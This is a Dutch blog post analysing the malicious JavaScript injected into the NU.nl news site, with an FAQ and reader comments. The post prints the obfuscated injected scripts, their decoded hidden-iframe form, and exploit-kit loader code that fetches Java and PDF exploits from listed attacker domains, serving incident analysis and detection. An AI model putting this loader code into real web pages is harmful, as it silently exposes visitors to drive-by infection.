NU.nl gehackt: Malware-analyse

NU.nl is gehackt, zo schrijft hun weblog vandaag, waarbij mogelijk 100.000 computers zijn besmet met kwaadaardige code. Ik was benieuwd naar wat voor kwaadaardige code werd geïnjecteerd en heb deze dan ook geanalyseerd.

Laat je testen of je geïnfecteerd bent
Naar aanleiding van mijn onderzoek naar de NU.nl malware, heb ik heb een infectietest geschreven om te controleren of je besmet geraakt kon worden door NU.nl op 14 maart tussen 11:30 en 13:43 uur bezocht te hebben. Laat je testen om te controleren of je besmet geraakt bent, of kon worden.

Deze pagina bevat geen malware: vals alarm
Iemand wist mij per mail te vertellen dat de AVG virusscanner een beveiligingsmelding geeft dat deze pagina kwaadaardige code bevat. Dat klopt ook, alleen wordt deze code alleen weergegeven in dit artikel en nooit uitgevoerd. Dit is dus een vals alarm en daarom kan deze melding dan ook gewoon worden genegeerd.

Analyse NU.nl malware
De volgende code werd tussen 11:30:00 en 13:24 uur via http://www.nu.nl/files/g.js geïncludeerd op de NU.nl website:

(function(){function dWiEHcv(){if(document.body){if(window.name!
='vfMOlJM'&&!window.sWFxGyp){function snJPext(eBRREc){if(eBRREc.
contentDocument)return eBRREc.contentDocument;if(eBRREc.contentW
indow)return eBRREc.contentWindow.document;return eBRREc.documen
t}var wCy3Tzm=window.navigator.userAgent.indexOf("Windows NT 6."
)==-1;var fZMKvb={};with(fZMKvb){w26EFhdi=/a/.__proto__=='//';tv
iAzGT='\v'=='v'}var rktxOwE='zB1gYf79',fgCIisA0=wCy3Tzm?'6a321f6
5':'f14266b9',xEv8M5=wCy3Tzm?'zB1gYf79hzB1gYf79tzB1gYf79tzB1gYf7
9pzB1gYf79:zB1gYf79/zB1gYf79/zB1gYf79azB1gYf79czB1gYf79czB1gYf79
ezB1gYf79nzB1gYf79tzB1gYf796zB1gYf79.zB1gYf79izB1gYf79nzB1gYf79/
zB1gYf79izB1gYf79nzB1gYf79dzB1gYf79ezB1gYf79xzB1gYf79.zB1gYf79pz
B1gYf79hzB1gYf79pzB1gYf79?zB1gYf790zB1gYf79azB1gYf79czB1gYf79bzB
1gYf795zB1gYf79dzB1gYf79bzB1gYf79bzB1gYf793zB1gYf796zB1gYf79fzB1
gYf799zB1gYf793zB1gYf791zB1gYf794zB1gYf791zB1gYf79bzB1gYf790zB1g
Yf792zB1gYf797zB1gYf79dzB1gYf794zB1gYf791zB1gYf796zB1gYf792zB1gY
f796zB1gYf791zB1gYf79azB1gYf79fzB1gYf794zB1gYf792zB1gYf79ezB1gYf
79':'zB1gYf79hzB1gYf79tzB1gYf79tzB1gYf79pzB1gYf79:zB1gYf79/zB1gY
f79/zB1gYf79szB1gYf79vzB1gYf79izB1gYf79tzB1gYf79czB1gYf79hzB1gYf
79uzB1gYf79dzB1gYf79ezB1gYf79szB1gYf79.zB1gYf79izB1gYf79nzB1gYf7
9/zB1gYf79izB1gYf79nzB1gYf79dzB1gYf79ezB1gYf79xzB1gYf79.zB1gYf79
pzB1gYf79hzB1gYf79pzB1gYf79?zB1gYf799zB1gYf79azB1gYf794zB1gYf791
zB1gYf79ezB1gYf792zB1gYf790zB1gYf79fzB1gYf795zB1gYf796zB1gYf794z
B1gYf792zB1gYf794zB1gYf797zB1gYf796zB1gYf794zB1gYf798zB1gYf79azB
1gYf79dzB1gYf79dzB1gYf794zB1gYf79ezB1gYf796zB1gYf79fzB1gYf791zB1
gYf79ezB1gYf79czB1gYf791zB1gYf798zB1gYf79ezB1gYf796zB1gYf795zB1g
Yf79',zdhxK1aq='zB1gYf79izB1gYf79fzB1gYf79rzB1gYf79azB1gYf79mzB1
gYf79ezB1gYf79',iOQQjI=fZMKvb.tviAzGT?'<'+zdhxK1aq.split(rktxOwE
).join('')+' name="'+fgCIisA0+'" src="'+xEv8M5.split(rktxOwE).jo
in('')+'">':zdhxK1aq.split(rktxOwE).join(''),gbByt2xI=document.c
reateElement(iOQQjI);with(gbByt2xI){name=fgCIisA0;setAttribute('
name',fgCIisA0);id=fgCIisA0}document.body.appendChild(gbByt2xI);
if(window.name==='')window.name='vfMOlJM';window.sWFxGyp=true;wi
th(gbByt2xI.style){if(!fZMKvb.w26EFhdi)position='absolute';left=
top='0px';height=width='1px';visibility='hidden'}if(!fZMKvb.tviA
zGT)snJPext(gbByt2xI).location.replace(xEv8M5.split(rktxOwE).joi
n(''))}}else setTimeout(dWiEHcv,10)}dWiEHcv()})();

De JavaScript code is geobfusceerd en geminimaliseerd.

Tevens werd de volgende code tussen 13:09:10 en 13:43 uur gepubliceerd op http://www.nu.nl/files/gs.js:

(function(){function rd7Zh2c(){if(document.body){if(window.name!
='imTJcLT'&&!window.fTQFDeR){function xzpyJP7o(weZTgD6Z){if(weZT
gD6Z.contentDocument)return weZTgD6Z.contentDocument;if(weZTgD6Z
.contentWindow)return weZTgD6Z.contentWindow.document;return weZ
TgD6Z.document}var mCNsKeT=window.navigator.userAgent.indexOf("W
indows NT 6.")==-1;var ltoiZI={};with(ltoiZI){oiyk2ld=/a/.__prot
o__=='//';lB1gye='\v'=='v'}var hjOaph7f='ecpFmp1',kyGHof=mCNsKeT
?'2332954b':'2e2d007e',unq8fCaw=mCNsKeT?'ecpFmp1hecpFmp1tecpFmp1
tecpFmp1pecpFmp1:ecpFmp1/ecpFmp1/ecpFmp1aecpFmp1cecpFmp1cecpFmp1
becpFmp1uecpFmp1decpFmp1.ecpFmp1iecpFmp1necpFmp1/ecpFmp1iecpFmp1
necpFmp1decpFmp1eecpFmp1xecpFmp1.ecpFmp1pecpFmp1hecpFmp1pecpFmp1
?ecpFmp14ecpFmp1cecpFmp1fecpFmp1cecpFmp1becpFmp18ecpFmp11ecpFmp1
6ecpFmp1decpFmp1becpFmp10ecpFmp17ecpFmp18ecpFmp13ecpFmp11ecpFmp1
2ecpFmp14ecpFmp17ecpFmp1fecpFmp1eecpFmp15ecpFmp1eecpFmp12ecpFmp1
decpFmp1becpFmp12ecpFmp18ecpFmp17ecpFmp18ecpFmp16ecpFmp13ecpFmp1
4ecpFmp1':'ecpFmp1hecpFmp1tecpFmp1tecpFmp1pecpFmp1:ecpFmp1/ecpFm
p1/ecpFmp1secpFmp1vecpFmp1iecpFmp1tecpFmp1aecpFmp1recpFmp1tecpFm
p1.ecpFmp1iecpFmp1necpFmp1/ecpFmp1iecpFmp1necpFmp1decpFmp1eecpFm
p1xecpFmp1.ecpFmp1pecpFmp1hecpFmp1pecpFmp1?ecpFmp1aecpFmp1decpFm
p1aecpFmp1eecpFmp1becpFmp1becpFmp13ecpFmp1fecpFmp19ecpFmp11ecpFm
p1eecpFmp1aecpFmp18ecpFmp18ecpFmp1becpFmp1aecpFmp14ecpFmp1becpFm
p1cecpFmp16ecpFmp12ecpFmp14ecpFmp1becpFmp16ecpFmp16ecpFmp12ecpFm
p15ecpFmp1eecpFmp15ecpFmp1decpFmp15ecpFmp12ecpFmp1',ln01sXhB='ec
pFmp1iecpFmp1fecpFmp1recpFmp1aecpFmp1mecpFmp1eecpFmp1',dQJfV2D=l
toiZI.lB1gye?'':ln01sXhB.split(hjOaph7f).join(''),jbyD4l=documen
t.createElement(dQJfV2D);with(jbyD4l){name=kyGHof;setAttribute('
name',kyGHof);id=kyGHof}document.body.appendChild(jbyD4l);if(win
dow.name==='')window.name='imTJcLT';window.fTQFDeR=true;with(jby
D4l.style){if(!ltoiZI.oiyk2ld)position='absolute';left=top='0px'
;height=width='1px';visibility='hidden'}if(!ltoiZI.lB1gye)xzpyJP
7o(jbyD4l).location.replace(unq8fCaw.split(hjOaph7f).join(''))}}
else setTimeout(rd7Zh2c,10)}rd7Zh2c()})();

De JavaScript bestanden heb ik geüpload naar VirusTotal, om te controleren of antivirusscanners de kwaadaardige code herkennen. Voor zowel g.js als gs.js is dat niet het geval. Op zich niet verwonderlijk, aangezien de JavaScript code uitgevoerd moet worden om de kwaadaardige injectie te kunnen zien. De virusscanners die VirusTotal aanstuurt, voeren – zo ver ik weet – alleen een statische analyse uit. Het schijnt dat bezoekers van NU.nl die antivirussoftware hebben draaien, wel beveiligingswaarschuwingen kregen.

Wanneer spatiëring wordt toegevoegd aan g.js, dan ziet de code er als volgt uit:

 (function () {
    function dWiEHcv() {
        if (document.body) {
            if (window.name != 'vfMOlJM' && !window.sWFxGyp) {
                function snJPext(eBRREc) {
                    if (eBRREc.contentDocument) return eBRREc.contentDocument;
                    if (eBRREc.contentWindow) return eBRREc.contentWindow.document;
                    return eBRREc.document
                }
                var wCy3Tzm = window.navigator.userAgent.indexOf("Windows NT 6.") == -1;
                var fZMKvb = {};
                with(fZMKvb) {
                    w26EFhdi = /a/.__proto__ == '//';
                    tviAzGT = '\v' == 'v'
                }
                var rktxOwE = 'zB1gYf79',
                    fgCIisA0 = wCy3Tzm ? '6a321f65' : 'f14266b9',
                    xEv8M5 = wCy3Tzm ? 'zB1gYf79hzB1gYf79tzB1gYf79tzB1gYf79pzB1gYf79:zB1gYf79/zB1gYf79/zB1gYf79azB1gYf79czB1gYf79czB1gYf79ezB1gYf79nzB1gYf79tzB1gYf796zB1gYf79.zB1gYf79izB1gYf79nzB1gYf79/zB1gYf79izB1gYf79nzB1gYf79dzB1gYf79ezB1gYf79xzB1gYf79.zB1gYf79pzB1gYf79hzB1gYf79pzB1gYf79?zB1gYf790zB1gYf79azB1gYf79czB1gYf79bzB1gYf795zB1gYf79dzB1gYf79bzB1gYf79bzB1gYf793zB1gYf796zB1gYf79fzB1gYf799zB1gYf793zB1gYf791zB1gYf794zB1gYf791zB1gYf79bzB1gYf790zB1gYf792zB1gYf797zB1gYf79dzB1gYf794zB1gYf791zB1gYf796zB1gYf792zB1gYf796zB1gYf791zB1gYf79azB1gYf79fzB1gYf794zB1gYf792zB1gYf79ezB1gYf79' : 'zB1gYf79hzB1gYf79tzB1gYf79tzB1gYf79pzB1gYf79:zB1gYf79/zB1gYf79/zB1gYf79szB1gYf79vzB1gYf79izB1gYf79tzB1gYf79czB1gYf79hzB1gYf79uzB1gYf79dzB1gYf79ezB1gYf79szB1gYf79.zB1gYf79izB1gYf79nzB1gYf79/zB1gYf79izB1gYf79nzB1gYf79dzB1gYf79ezB1gYf79xzB1gYf79.zB1gYf79pzB1gYf79hzB1gYf79pzB1gYf79?zB1gYf799zB1gYf79azB1gYf794zB1gYf791zB1gYf79ezB1gYf792zB1gYf790zB1gYf79fzB1gYf795zB1gYf796zB1gYf794zB1gYf792zB1gYf794zB1gYf797zB1gYf796zB1gYf794zB1gYf798zB1gYf79azB1gYf79dzB1gYf79dzB1gYf794zB1gYf79ezB1gYf796zB1gYf79fzB1gYf791zB1gYf79ezB1gYf79czB1gYf791zB1gYf798zB1gYf79ezB1gYf796zB1gYf795zB1gYf79',
                    zdhxK1aq = 'zB1gYf79izB1gYf79fzB1gYf79rzB1gYf79azB1gYf79mzB1gYf79ezB1gYf79',
                    iOQQjI = fZMKvb.tviAzGT ? '<' + zdhxK1aq.split(rktxOwE).join('') + ' name="' + fgCIisA0 + '" src="' + xEv8M5.split(rktxOwE).join('') + '">' : zdhxK1aq.split(rktxOwE).join(''),
                    gbByt2xI = document.createElement(iOQQjI);
                with(gbByt2xI) {
                    name = fgCIisA0;
                    setAttribute('name', fgCIisA0);
                    id = fgCIisA0
                }
                document.body.appendChild(gbByt2xI);
                if (window.name === '') window.name = 'vfMOlJM';
                window.sWFxGyp = true;
                with(gbByt2xI.style) {
                    if (!fZMKvb.w26EFhdi) position = 'absolute';
                    left = top = '0px';
                    height = width = '1px';
                    visibility = 'hidden'
                }
                if (!fZMKvb.tviAzGT) snJPext(gbByt2xI).location.replace(xEv8M5.split(rktxOwE).join(''))
            }
        } else setTimeout(dWiEHcv, 10)
    }
    dWiEHcv()
})();

Via PHP heb ik de bovenstaande geobfusceerde JavaScript code geanalyseerd, om de kwaadaardige injectie te achterhalen:

<?php
$payload1 = "zB1gYf79hzB1gYf79tzB1gYf79tzB1gYf79pzB1gYf79:zB1gYf79/zB1gYf79/zB1gYf79azB1gYf79czB1gYf79czB1gYf79ezB1gYf79nzB1gYf79tzB1gYf796zB1gYf79.zB1gYf79izB1gYf79nzB1gYf79/zB1gYf79izB1gYf79nzB1gYf79dzB1gYf79ezB1gYf79xzB1gYf79.zB1gYf79pzB1gYf79hzB1gYf79pzB1gYf79?zB1gYf790zB1gYf79azB1gYf79czB1gYf79bzB1gYf795zB1gYf79dzB1gYf79bzB1gYf79bzB1gYf793zB1gYf796zB1gYf79fzB1gYf799zB1gYf793zB1gYf791zB1gYf794zB1gYf791zB1gYf79bzB1gYf790zB1gYf792zB1gYf797zB1gYf79dzB1gYf794zB1gYf791zB1gYf796zB1gYf792zB1gYf796zB1gYf791zB1gYf79azB1gYf79fzB1gYf794zB1gYf792zB1gYf79ezB1gYf79";
$payload2 = "zB1gYf79hzB1gYf79tzB1gYf79tzB1gYf79pzB1gYf79:zB1gYf79/zB1gYf79/zB1gYf79szB1gYf79vzB1gYf79izB1gYf79tzB1gYf79czB1gYf79hzB1gYf79uzB1gYf79dzB1gYf79ezB1gYf79szB1gYf79.zB1gYf79izB1gYf79nzB1gYf79/zB1gYf79izB1gYf79nzB1gYf79dzB1gYf79ezB1gYf79xzB1gYf79.zB1gYf79pzB1gYf79hzB1gYf79pzB1gYf79?zB1gYf799zB1gYf79azB1gYf794zB1gYf791zB1gYf79ezB1gYf792zB1gYf790zB1gYf79fzB1gYf795zB1gYf796zB1gYf794zB1gYf792zB1gYf794zB1gYf797zB1gYf796zB1gYf794zB1gYf798zB1gYf79azB1gYf79dzB1gYf79dzB1gYf794zB1gYf79ezB1gYf796zB1gYf79fzB1gYf791zB1gYf79ezB1gYf79czB1gYf791zB1gYf798zB1gYf79ezB1gYf796zB1gYf795zB1gYf79";
$payload3 = "zB1gYf79izB1gYf79fzB1gYf79rzB1gYf79azB1gYf79mzB1gYf79ezB1gYf79";

$css = 'style="position: absolute; left: 0px; top: 0px; height: 1px; width: 1px display: none;"';

print '<pre>'.htmlSpecialChars('
    if (window.navigator.userAgent.indexOf("Windows NT 6.") == -1)
        document.write(\'<'.implode('', explode('zB1gYf79', $payload3)).' name="6a321f65" id="6a321f65" source="'.implode('', explode('zB1gYf79', $payload1)).'" '.$css.'>\');
    else
        document.write(\'<'.implode('', explode('zB1gYf79', $payload3)).' name="f14266b9" id="f14266b9" source="'.implode('', explode('zB1gYf79', $payload2)).'" '.$css.'>\');
').'</pre>';
?>

Met handmatige analyse van de JavaScript code en het met PHP decoderen van de obfuscatie, levert dit de volgende functionele JavaScript code op:

if (window.navigator.userAgent.indexOf("Windows NT 6.") == -1)
    document.write('<iframe name="6a321f65" id="6a321f65" source="http://accent6.in/index.php?0acb5dbb36f93141b027d416261af42e" style="position: absolute; left: 0px; top: 0px; height: 1px; width: 1px display: none;">');
else
    document.write('<iframe name="f14266b9" id="f14266b9" source="http://svitchudes.in/index.php?9a41e20f564247648add4e6f1ec18e65" style="position: absolute; left: 0px; top: 0px; height: 1px; width: 1px display: none;">');

Hetzelfde heb ik gedaan voor het bestand gs.js, die identiek is qua functionaliteit, maar verschillende payloads kent:

if (window.navigator.userAgent.indexOf("Windows NT 6.") == -1)
    document.write('<iframe name="6a321f65" id="6a321f65" source="http://accbud.in/index.php?4cfcb816db07831247fe5e2db2878634" style="position: absolute; left: 0px; top: 0px; height: 1px; width: 1px display: none;">');
else
    document.write('<iframe name="f14266b9" id="f14266b9" source="http://svitart.in/index.php?adaebb3f91ea88ba4bc624b6625e5d52" style="position: absolute; left: 0px; top: 0px; height: 1px; width: 1px display: none;">');

Het bestand gs.js kent een andere sleutel om de obfuscatie te decoderen en maakt dus gebruikt van polymorfie, waarschijnlijk om detectie door virusscanners zo veel mogelijk uit te stellen.

Domeinnamen die via een <iframe> geladen worden
Via een <iframe> wordt, afhankelijk van de browser die gebruikt wordt, één van de volgende internetadressen geladen:

  1. http://accent6.in/index.php?0acb5dbb36f93141b027d416261af42e
  2. http://svitchudes.in/index.php?9a41e20f564247648add4e6f1ec18e65
  3. http://accbud.in/index.php?4cfcb816db07831247fe5e2db2878634
  4. http://svitart.in/index.php?adaebb3f91ea88ba4bc624b6625e5d52

Bovenstaande internetadressen dus NIET bezoeken. Via deze adressen wordt vervolgens de echte kwaadaardige code uitgevoerd.

De bovenstaande adressen schenen aan verandering onderhevig te zijn geweest, zo rapporteert iemand op security.nl dat ook naar het domein ‘mops63jger.info’ werd gelinkt op een gegeven tijdstip. Via een andere bron heb ik ook een lijst met domeinnamen doorgekregen waar naar toe is gelinkt en ‘jfk104′ meldt in een reactie op dit artikel ook een tweetal domeinnamen.

Hieronder het totaaloverzicht van de domeinnamen waar naar toe is gelinkt:

  1. accent6.in
  2. svitchudes.in
  3. accbud.in
  4. svitart.in
  5. mops63jger.info
  6. prolesok.in
  7. ekkvxdkh.com
  8. perekladach.in
  9. userskpi.in
  10. turizm-ua.in

Analyse van de via de <iframe> geladen JavaScript
De JavaScript code van accent6.in heb ik opgevraagd en gespatieerd. In totaal staat daar 1.220 regels aan code en is daarom te groot om hier neer te zetten. Heb daarom de code op pastebin.com gezet.

In de code op accent6.in wordt een Java en PDF bestand geladen, waar de daadwerkelijke exploits inzitten. De internetadressen van deze bestanden zijn:

  1. http://accent6.in//images/r/7b8247ba0f82b0592a3b1ce58d98347d.jar
  2. http://accent6.in//images/7f78a95a077fd32244aa65dc08024e2a.pdf

Nogmaals: Bovenstaande adressen dus NIET openen.

Detectie door virusscanners
Als ik de JavaScript code opsla in ‘accent6.in.trojan’, om deze vervolgens te kunnen uploaden naar VirusTotal, dan krijg ik een waarschuwing van Microsoft Security Essentials dat dit bestand geïnfecteerd is met ‘Exploit:JS/Blacole.CV’.

Ik negeer de waarschuwing en upload het bestand naar VirusTotal. Maar 2 van de 43 virusscanners detecteren via VirusTotal de malware, namelijk:

  1. AVG: Script/Exploit.B
  2. Microsoft: Exploit:JS/Blacole.CV

Opmerkelijk is dat AVG en Microsoft Security Essentials allebei gratis virusscanners zijn. De commerciële scanners laten het bij VirusTotal qua resultaten afweten.

PDF en JAR bestand niet in mijn bezit
Hierbij moet wel de opmerking worden geplaatst dat ik het bovenstaande PDF en JAR bestand niet in mijn bezit heb waar de daadwerkelijke exploits inzitten. Alle domeinnamen waar NU.nl naar toe heeft gelinkt zijn onbereikbaar geworden. Het PDF en JAR bestand zou ik graag naar VirusTotal willen uploaden. Ik verwacht namelijk dat veel meer virusscanners de kwaadaardige software zullen detecteren. Als iemand een kopie van deze bestanden heeft, dan zou ik die graag willen ontvangen voor verdere analyse.

Analyse van de JavaScript
In de 1.220 regels aan JavaScript is een groot deel van de code verantwoordelijk voor het achterhalen van de versienummers van Java en Adobe Reader. De open source JavaScript bibliotheek PluginDetect wordt hiervoor gebruikt.

Pas wanneer de versienummers bekend zijn, worden de daadwerkelijke exploits geladen als aan een aantal voorwaarden wordt voldaan:

function ns2() {
    if (
       (jver[1] == 5 && jver[3] <= 23) ||
       (jver[1] == 6 && jver[3] <= 18)
    ) {
        document.write('<applet code="vJOvqrAXC.xWDDl.class" archive="http://accent6.in//images/7b8247ba0f82b0592a3b1ce58d98347d.jar"><param name="uoo1" value="QWWx%__jiihXWpBOX_dhLmhL.xLOmO8hfhdBxQx/5n59joYjq55ntvEEuujjpYtiq9qEuhEj#E"></applet>');
    }
    ns3();
}
function ns1() {
    if (jver[1] == 6 && jver[3] <= 27) {
        document.write('<applet code="Tli.NRJKSumt.class" archive="http://accent6.in//images/r/7b8247ba0f82b0592a3b1ce58d98347d.jar"><param name=    "ur0l0" value="QWWx%__jiihXWpBOX_dhLmhL.xLOmO8hfhdBxQx/5n59joYjq55ntvEEuujjpYtiq9qEuhEj#v" ></applet>');
    }
    ns2();
}

function ns3() {
    if (
        (pdfver[0] == 8 ) ||
        (pdfver[0] == 9 && pdfver[1] <= 3)
    ) {
        var s1 = document.createElement("iframe");
        s1.setAttribute("src", "http://accent6.in//images/7f78a95a077fd32244aa65dc08024e2a.pdf");
        s1.setAttribute("width", "169");
        s1.setAttribute("height", "436");
        s1.setAttribute("frameborder", "1");
        document.body.appendChild(s1);
    }
}
ns1();

Er worden in totaal drie exploits gebruikt. Twee voor verouderde versies van Java en één voor een verouderde versie van Adobe Reader.

Beveiligingslekken misbruikt in Adobe Reader en Java
Wanneer het slachtofferde één van de volgende softwareversies heeft geïnstalleerd, dan werd de kwaadaardige code geladen (en is dus waarschijnlijk besmetting opgetreden):

  1. Adobe Reader tussen versie 8 en 9.3
  2. Java tussen versie 5 en 5.0.23 en tussen versie 6 en 6.0.27

Infectietest ontwikkeld
Ik heb een infectietest geschreven die controleert of je één van de bovenstaande Adobe Reader of Java versies geïnstalleerd hebt. Zo kan je controleren of je mogelijk geïnfecteerd geraakt bent, door NU.nl op 14 maart te bezoeken.

Verder uitgevoerd onderzoek
Beveiligingsbedrijf Fox-IT heeft tevens een interessant onderzoek uitgevoerd hoe de kwaadaardige code functioneert wanneer een computer eenmaal geïnfecteerd geraakt is door de hierboven genoemde JavaScript code.

Veel gestelde vragen

Naar aanleiding van de vele vragen die ik krijg, heb ik hieronder antwoorden gegeven op de meest voorkomende.

“Hoe werkt de infectietest?”

De test maakt gebruik van de laatste versie van PluginDetect, een open source JavaScript bibliotheek die versienummers kan achterhalen van browser plugins. De kwaadaardige software die via NU.nl verspreid werd, maakte ook gebruikt van deze bibliotheek. Daarnaast zijn dezelfde voorwaarden toegepast, die de kwaadaardige software ook toepaste om te beslissen of de daadwerkelijke besmetting überhaupt kon plaatsvinden. Het verschil met deze test en de kwaadaardige code is dat deze test geen kwaadaardige code bevat, maar wel zo goed als dezelfde logica hanteert.

“Zijn alleen Windows gebruikers slachtoffer geworden?”

De kwaadaardige software maakt gebruik van browser plugins. Deze browser plugins zijn beschikbaar voor zowel Windows, Mac als Linux. Aangezien de daadwerkelijke besmettingscode (bij mij) onbekend is, is niet bekend of ook Mac en Linux gebruikers daadwerkelijk besmet konden worden, maar dat zou wel heel goed mogelijk kunnen zijn.

“De infectietest detecteert Adobe Reader niet, terwijl ik deze wel geïnstalleerd heb. Hoe zit dat?”

De infectietest controleert of een Adobe Reader browser plugin is geïnstalleerd en is ingeschakeld in de browser. Als Adobe Reader geïnstalleerd is op een systeem, dan hoeft dat niet altijd te betekenen dat ook een Adobe Reader browser plugin geïnstalleerd is. Wanneer je een PDF bestand aanklikt vanuit je browser en je hebt geen browser plugin voor Adobe Reader geïnstalleerd, dan krijg je een downloadpopup te zien met de vraag of je het PDF bestand wilt downloaden – het bestand wordt dan niet in de browser zelf getoond.

“De infectietest detecteert een versie van Java die niet op mijn computer staat. Hoe zit dat?”

Als meerdere browsers op één computer geïnstalleerd staan, dan kunnen al deze browsers eigen plugins bevatten. Zo kan een Java plugin voor Firefox een ander versienummer hebben dan een Java plugin voor Internet Explorer. Het komt vaak voor dat verschillende versies van Java op dezelfde computer geïnstalleerd staan en gebruikt worden.

“Hoe controleer ik of binnen ons bedrijfsnetwerk infectie heeft plaatsgevonden?”

Om te onderzoeken of infectie binnen een bedrijfsnetwerk heeft plaatsgevonden, moet het verkeer vanaf dit netwerk richting het internet geanalyseerd worden door een drietal stappen te volgen:

  1. De eerste stap hierbij is om te controleren of computers binnen het netwerk dataverkeer verstuurd hebben naar de aangegeven domeinnamen, die gebruikt zijn om de kwaadaardige code te verspreiden.
  2. Als dit inderdaad zo blijkt te zijn, dan is de volgende stap om te controleren of deze computers een PDF of JAR bestand hebben gedownload vanaf dat domeinnaam. Hierbij moet het JAR bestand ‘getJavaInfo.jar’ uitgesloten worden van de selectie, aangezien dit bestand alleen gebruikt werd om te controleren welke versie van Java is geïnstalleerd.
  3. De selectie van computers die nu overblijven moeten handmatig geïnspecteerd worden of besmetting ook daadwerkelijk heeft plaatsgevonden. Hiervoor kan Hitman Pro worden gebruikt.

“Wordt door de kwaadaardige software ook misbruik gemaakt van een beveiligingslek in Flash?”

Nee. Er worden alleen twee beveiligingslekken in Java en één beveiligingslek in Adobe Reader misbruikt door de kwaadaardige software.

About Sijmen Ruwhof

Freelance Security Consultant at Secundity B.V.
This entry was posted in analyse, beveiligingslek, drive-by, nu.nl, website. Bookmark the permalink.

64 Responses to NU.nl gehackt: Malware-analyse

  1. Michael says:

    Goed werk! En erg dat slechts 2 van de 43 AV-scanners het detecteren :s

  2. his_royal says:

    mooie analyse, en vrij nieuwe 0day exploit zo lijkt het..

    • Er werd geen zero day exploit gebruikt, aangezien alleen beveiligingslekken in verouderde versies van Adobe Reader en Java misbruikt werden. Deze lekken zijn inmiddels gedicht in nieuwere versies van de twee softwarepakketten.

  3. Gedetailleerde analyse. Wederom een presentatie van de verbazingwekkende vakinhoudelijke kennis van Sijmen.

  4. Dieter Van Den Bosch says:

    Dankjewel voor deze zeer interessante studie!

  5. Pingback: Belangrijke beveiligingsproblemen door verouderde software op Windows voorkomen

  6. Pingback: Overheid waarschuwt voor infectie op NU.nl | SFIX – Advanced Security Services & ICT Solutions

  7. tvanderv says:

    Mooie uitleg over de werking ervan, bedankt.

  8. Helmer says:

    Mooie duidelijke uitleg! Thanks…

  9. Pingback: GeekLab » Check your PC after the Nu.nl hack

  10. Dave says:

    Serieus goed werk! Nu.nl is niet al te scheutig met informatie. Nu ik weet wat de voorwaarden zijn, kan ik weer rustig slapen. De test-pagina ga ik fijn doorsturen…

    @his_royal: Nee, geen 0-day. Het gaat om een java van een half jaar geleden en acrobat 8/9, terwijl acrobat 10 al in november 2010 is uitgebracht. Prehistorische, niet geupdate software dus.

  11. jfk104 says:

    heb nog een url toevoeging voor je:

    userskpi.in

  12. jfk104 says:

    Sorry kom er nog 1 tegen in mijn lijst:
    turizm-ua.in

    • Bedankt voor de toevoeging! Ik heb de twee domeinnamen toegevoegd aan het artikel, zodat bedrijven deze domeinnamen kunnen blokkeren in de proxies en tevens kunnen controleren op infecties in hun netwerk.

  13. SecExp says:

    Wat een slappe analyse zeg. Als jij een security expert bent dan ben ik James Bond 007

  14. Fokko says:

    @SecExp Jammer dat je negatieve feedback levert zonder deze te onderbouwen. Ik heb bovenstaand verhaal als zeer hulpvaardig ervaren. Er staat veel meer bruikbare informatie in dan in de meeste nieuwsartikelen over dit onderwerp…

  15. Frits van Zanten says:

    Hallo,

    Aardig info, maar één opmerking: dit is de eerste ‘goedwillende’ site die ik in deze opmaak tegenkom. Ik schrok eerst, omdat ik deze opmaak alleen nog maar ken van dubieuze (meest russische) sites.

    Ter info.

    Gr. Frits

    • Bedankt voor het meedenken! Het aanpassen van de opmaak van deze webblog staat al tijden op mijn todolijst. Helaas heb ik tegenwoordig een drukke agenda waardoor ik daar nog niet aan toe gekomen ben.

  16. Kevin de Bie says:

    Bijzonder behulpzame uiteenzetting van het geheel. Nu.nl is hier in de tent een flink bezochte website en waren wat met het geven van info. Gezien je resultaten m.b.t. virusscanners heb ik ook niet zo veel vertrouwen dat die van ons hem er wel tussenuit zou trekken.
    Kan de genoemde domeinen gelukkig niet terugvinden in de DNS cache alhier.

    Zijn er nog verdere voorwaarden waaronder infectie wel of niet kan ontstaan? In principe wordt de verzie 9 van Firefox gebruikt voor internetactiviteiten. Zou browservariant uit maken of infectie kan plaatsvinden?

    • De voorwaarde voor besmetting is dat je een verouderde versie van Java of Adobe Reader gebruikt. De browservariant maakt niet uit, de kwaadaardige code maakt namelijk alleen misbruik van beveiligingslekken in Java en Adobe Reader.

  17. Pingback: Nieuwssite NU.nl verspreidde malware - Medemblik aan Zee

  18. Pingback: Nieuwssite NU.nl verspreidde malware - Medemblik aan Zee

  19. anti hacker says:

    stomme hackers

  20. Rene van der Windt says:

    Zag dat Kaspersky melde dat er een trojan was. Was ook al binnen en K. heeft deze gedelete. Java is bij mij versie 9.31 maar adobe is versie 8 dus risico.
    Hitman heeft geen besmetting aan. Wel werdt zojuist een uitgaande update verzoek van Adobe door Kaspersky tegengehouden. Ik heb geblocked , het adres; a88-221-216-48.deploy.akamaitechnologies.com. Van belang?
    Ik heb een register van de Kasp tijdens de aanval, als er wat aanhebt laat het me weten.
    Overigens, naar welke pdf file zou ik moeten zoeken?

    • Mijn hypothese is dat Hitman Pro geen besmetting aangeeft, omdat Kaspersky de malware al verwijderd heeft.

      Zorg ervoor dat je altijd de laatste versie van Java en Adobe Reader gebruikt. Altijd en snel updates installeren dus.

      Misschien dat het PDF bestand waardoor je geïnfecteerd bent, nog in de tijdelijke opslagplaats voor internetbestanden van je browser staat. Helaas is het een vrij technisch verhaal om dit gedetailleerd uit te leggen..

    • ErwinB says:

      Adobe maakt gebruik van akamaitechnologies.com om hun updates te verspreiden, waarschijnlijk was dat een bonafide connectie.
      Geen flauw idee hoe je dat zou kunnen checken.

  21. Maria says:

    Wat een geluk dat er, zeker met het oog op de krukkige, gebrekkige en mijns inziens nogal onwillige berichtgeving van Nu.nl, ook onafhankelijke deskundigen zijn om te helpen de zaak te overzien. Dank u hartelijk!

  22. Erwinus says:

    Sijmen, mooi werk, je hebt er aardig wat tijd in gestoken. Gelukkig surf ik met firefox en heb de Java plugin altijd uitstaan en dat was maar goed ook. Ik vind nu.nl een prehistorische site qua looks (en afmetingen, ziet er niet uit op een groot scherm) en kom er dus ook niet vaak maarre de front-end zegt klaarblijkelijk genoeg over de back-end.

  23. eHackingNews says:

    Good Work . These users always put them self in risk by not updating their software.

  24. Pingback: ’100.000 computers besmet via NU.nl’ | Tech-nieuws

  25. Pingback: ’100.000 computers besmet via NU.nl’ | Tech-nieuws

  26. ray says:

    fijn zeg…. eerst altijd het nieuws kunnen lezen op het werk…. nu krijg ik een waarschuwingspagina… nu daaaag.. deze melding zal er wel ook niet meer vanaf komen, jammer…

  27. Zilvertje says:

